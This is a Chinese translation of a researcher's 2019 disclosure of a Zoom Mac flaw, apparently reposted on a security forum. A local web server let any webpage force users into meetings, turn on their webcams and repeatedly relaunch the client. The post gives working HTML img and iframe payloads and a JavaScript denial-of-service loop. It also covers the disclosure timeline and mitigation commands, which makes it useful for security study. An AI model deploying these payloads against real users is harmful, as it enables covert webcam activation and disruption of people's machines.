Zoom会议系统曝出高危漏洞,或影响400万电脑摄像头

iso60001  1925天前

22.png

Mac版本的Zoom客户端中存在漏洞,一旦点击特定的恶意网站,就可在未经你许可的情况下启用你的摄像头。这一漏洞可能会危害世界上75万家使用Zoom进行业务交流的公司。

漏洞

  • DOS漏洞——已在版本4.4.2中被修复

  • 信息披露(网络摄像头)——尚未修复

前言

此漏洞允许恶意网站在未经用户许可的情况下,激活他们的摄像头,强制加入到某个Zoom的会议中。

除此之外,此漏洞还允许任意网页通过不断把用户加入一个无效会议以DoS(拒绝服务)安装了Zoom的Mac机器。

此外,如果你安装了Zoom客户端,然后将其卸载,此时你的计算机上仍然有一个localhostWeb服务器,一旦你访问某个网页,它就会迅速为你重新安装Zoom客户端。这个特殊的功能直到现在依然有效。

此漏洞始于Zoom的一项简单功能,即:当你向任何人发送会议链接时(例如https://zoom.us/j/492468757),一旦他们在浏览器中打开,他们的Zoom客户端就会自动运行。我很好奇这一惊人的功能是如何实现的,以及它的安全性如何。但我后来发现,这个功能确实有很大的安全问题。我也一时找不到好方法去修复它。

该漏洞最初是在2019年3月26日给Zoom通报的。初始的漏洞报告中包括了一个快速修复建议描述,只要简单地更改代码逻辑即可实现。Zoom花了10天时间来确认漏洞。而关于如何修补漏洞的第一次实际讨论发生在2019年6月11日。在这次会议中,确认了漏洞的细节,并讨论了Zoom的解决方案。然而,我很容易便在他们修复方法中发现了绕过方法。此时,Zoom距离漏洞公开时间(90天)只剩下18天。而在90天之后的6月24日,也就是漏洞公开截止日期前的最后一天,我发现Zoom采用了我最初的“快速修复”方案。

所以,Zoom未能彻底解决、定位这个漏洞,仅仅做出了些临时处理。拥有如此庞大用户群的公司应该在保护客户安全方面更加主动。

时间线

  • 2019年3月8日——通过Twitter联系(无回复)。
  • 2019年3月26日——通过电子邮件联系Zoom,指明漏洞公开时间段为90天,并提供“快速修复”解决方案。
  • 2019年3月27日——收到回复,表示Zoom安全工程师不在办公室,并表示由于政策,即使在漏洞被修补后也不能公开细节,并拒绝提供奖励。
  • 2019年4月1日——要求确认漏洞。
  • 2019年4月5日——Zoom的安全工程师确认了漏洞。CVSS v3评分为5.2/10。
  • 2019年4月10日——向Chromium安全团队披露了漏洞。
  • 2019年4月18日——根据Chromium团队的建议更新了Zoom。
  • 2019年4月19日——向Mozilla FireFox安全团队披露了漏洞。
  • 2019年4月26日——与Mozilla和Zoom安全团队进行了视频通话。
  • 2019年6月11日——与Zoom安全团队进行视频通话。讨论了Zoom的安全更新的缺陷。
  • 2019年6月21日——Zoom报告漏洞得到修复。
  • 2019年6月24日——已过90天,确定使用我的“快速修复”方案。
  • 2019年7月8日——漏洞修复,细节公开。

细节

如果你的Mac安装了Zoom,那么在本地端口19421上就会运行着Web服务器。你可以通过lsof -i :19421命令进行确认。

首先,在本地机器上安装一个未知的Web服务就是很荒谬。其次,我访问的任何网站都可以与运行在我机器上的Web服务器进行交互,就更是不可理喻。相关代码如下:

33.png

当我最初得知这个Web服务存在时,立马想到如果这个Web服务的参数处理存在缓冲区溢出,那么别人就能远程控制我的机器。

在我访问其中一个Zoom的会议加入“连接”(https://zoom.us/j/492468757)时,查看浏览器的开发人员控制台内容,可发现如下内容:

44.png

我还发现,这个页面不是发出常规的Ajax请求,而是从本地运行的Zoom的Web服务中加载图像。图像的不同维度代表服务器的错误/状态代码。你可从下面代码看到详细情况,其中前面的两个数字代表返回的图像像素尺寸:

55.png

可怕的是,这个Web服务可以做的远不止启动一个Zoom会议。我发现即使用户卸载了Zoom,这个Web服务也可以“帮助”用户重新安装,稍后会详细介绍。

为什么这个Web服务返回的数据要以图像文件进行表示?很明显,这样做是为了绕过CORS(跨域资源共享)。

Chrome不支持本地主机的CORS请求。
https://stackoverflow.com/questions/10883211/deadly-cors-when-http-localhost-is-the-origin

不管怎样,Zoom这一举措也很不安全。

会议加入漏洞

我用另一个帐户创建了一个个人会议,并用Postman开始抓包和改包,尝试启动Zoom会议所需的最简短GET请求。

经过一系列摸索,发现以下两个最重要的参数。

  • action=join

  • confno=[无论会议号码是什么]

访问如下请求,我成功进入另一个帐户创建的Zoom会议。

http://localhost:19421/launch?action=join&confno=[some confrence number]

一旦有了这个突破口,我就开始寻找可以用这个链接所进行的其他动作。我甚至翻阅了各种公共文档,但还是没任何收获。由于这个Web服务完全没有官方文档记录,所以也算预料之中。

所以,我现在可以强迫任何用户加入我的会议,但音频/视频有另外的设置,不一定能启用。

直到现在,你仍然可以使用该“链接”来强迫他人加入某个会议。

不久后,我了解到Tenable Remote Code Execution in Zoom Security漏洞,该漏洞是在6个月前被修复。如果将这个Tenable漏洞与此漏洞结合在一起,则可针对安装了Zoom的Mac机器实行远程代码攻击。

因此,将来如果发现类似的漏洞,也可和我这个漏洞进行结合,对任何访问了恶意网站的用户实行远程代码攻击。在此,我建议任何仍在使用ZOOM 4.1.33259.0925或更低版本的用户迅速升级软件。

到目前为止,我只是强制让他人加入会议,并没有直接的安全威胁。我开始想如何才能激活他人的摄像头。不久后,我发现了如下设置,您可以选择在参与者加入会议时启用其摄像头

66.png

只要启用这个设置,任何加入会议的人都会自动发送视频。

经过实验后,发现这个设置对所有参与者有效。

PoC

本地的Web服务是自动作为后台进程运行,因此,只要用户点击了恶意网页,不管运不运行Zoom,攻击都能生效。

<img src="http://localhost:19421/launch?action=join&confno=492468757"/>

<iframe src="https://zoom.us/j/492468757"/>

任何一个网站只要有以上代码,就瞬间变成恶意网站!只要有人访问即会中招。这也可以用于传播广告和网络钓鱼。如果我要深入研究,可能还是会瞄准这个web服务。

在这里我也提供一个演示PoC:https://jlleitschuh.org/zoom_vulnerability_poc/

还有一个可激活摄像头的PoC:https://jlleitschuh.org/zoom_vulnerability_poc/zoompwn_iframe.html

快速修复

为了修复摄像头自启缺陷,最快速的方法就是Zoom把那个功能完全禁止或是直接删除。此外,如果还有麦克风自启功能,建议一样处理。

而Zoom方面一开始对我发现的这个缺陷的回复为:正在评估,后续会通知你。

ZOOM最终还是修复了摄像头自启动的缺陷,但对强制加入会议这一问题并没有处理。

拒绝服务(DOS)漏洞

另一方面,这个漏洞也可让攻击者对任何用户的机器进行DoS攻击。只要不停发送包含错误数字的GET请求,Zoom就会不断地被请求激活。攻击演示的PoC如下:

<body>
<script>
// It's actually better if this number isn't a valid zoom number.
var attackNumber = "694138052"
setInterval(function(){
  var image = document.createElement("img");
  // Use a date to bust the browser's cache
  var date = new Date();
  image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();
  image.on load = function() {
// Be tidy, clean up the DOM afterwards
  image.parentNode.removeChild(image);
  };
  document.body.appendChild(image);
}, 1);
</script>
</body>

在版本4.4.2中该DOS漏洞已被修复。

安装漏洞

如果你在计算机上安装了Zoom,则会自动安装Web服务。而当你卸载Zoom时,它还会继续运行。

这个web服务除了加入会议,还能安装和更新Zoom软件。我对这个Web服务进行了一些额外的分析,想查看还有啥功能。

通过Hopper Disassembler反汇编这个web服务,我发现了以下代码,和更新以及重装软件有关:

77.png

该方法和以下逻辑有关:

88.png

你可以通过以下操作来确认此功能确实存在:

  1. 安装Zoom。

  2. 打开Zoom,然后关闭它。

  3. Applications/zoom.us.app文件扔到垃圾桶,从计算机中卸载zoom客户端。

  4. 打开任何Zoom链接,Zoom客户端又会再次启动。

我还研究了一下用于安装Zoom软件的相关网址。例如,以下是访问https://zipow.com/upgrade?os=mac的结果:

99.png

在上述列表中我还发现一些快到期的域名,例如zoomgov.com在2019年5月1日到期,一旦被攻击者接管,造成的损失不可估量。目前该域名已重新续期。

基本的安全漏洞

由于这个漏洞涉及到浏览器,我也与Chromium和Mozilla Firefox的安全团队讨论了这个漏洞。他们都表示对此无能为力。Chromium团队向我推荐了CORS-RFC1918,它要求站点对本地资源(如localhost和192.168.1.*)发出请求前,先进行权限验证。

Zoom的修复方案

Zoom的安全团队提出了数字签名和IP验证两种方法,但我都对此提出了绕过方法。此时,距离90天的期限只剩下18天。于是,即使还有缺陷,新解决方案还是上架了。

结论

截至2015年,Zoom拥有超过4000万用户。鉴于Mac电脑占PC市场的10%,我们可以假设至少有400万的Zoom用户使用Mac电脑。Zoom和Google Meet或Skype一样,是流行的商业工具。

在我与Zoom安全团队的交谈过程中,他们多次认为此漏洞的严重性是有限的,因为它需要“用户交互”来进行攻击。我对此的回应是:“我强烈建议不要使用‘用户交互’这个词,因为这个‘用户交互’只是点击一个链接或访问一个网页。”

我觉得为了完全保护用户,最好的方法是完全抛弃这个web服务。

如果你想自己修复此漏洞,可以在设置中禁止在加入会议时开启摄像头。或者通过如下命令:

# For just your local account
defaults write ~/Library/Preferences/us.zoom.config.plist ZDisableVideo 1
# For all users on the machine
sudo defaults write /Library/Preferences/us.zoom.config.plist ZDisableVideo 1

此外,你还可以用kill -9 [process number]彻底关闭web服务进程。然后删除~/.zoomus目录,以彻底删除Web服务的相关文件。

鉴于Zoom还是存在大量不安全的设计,相信其他安全人员还会有另外发现。

我的PoC代码可以在我的Github上找到。

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@jonathan.leitschuh/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5

最新评论

昵称
邮箱
提交评论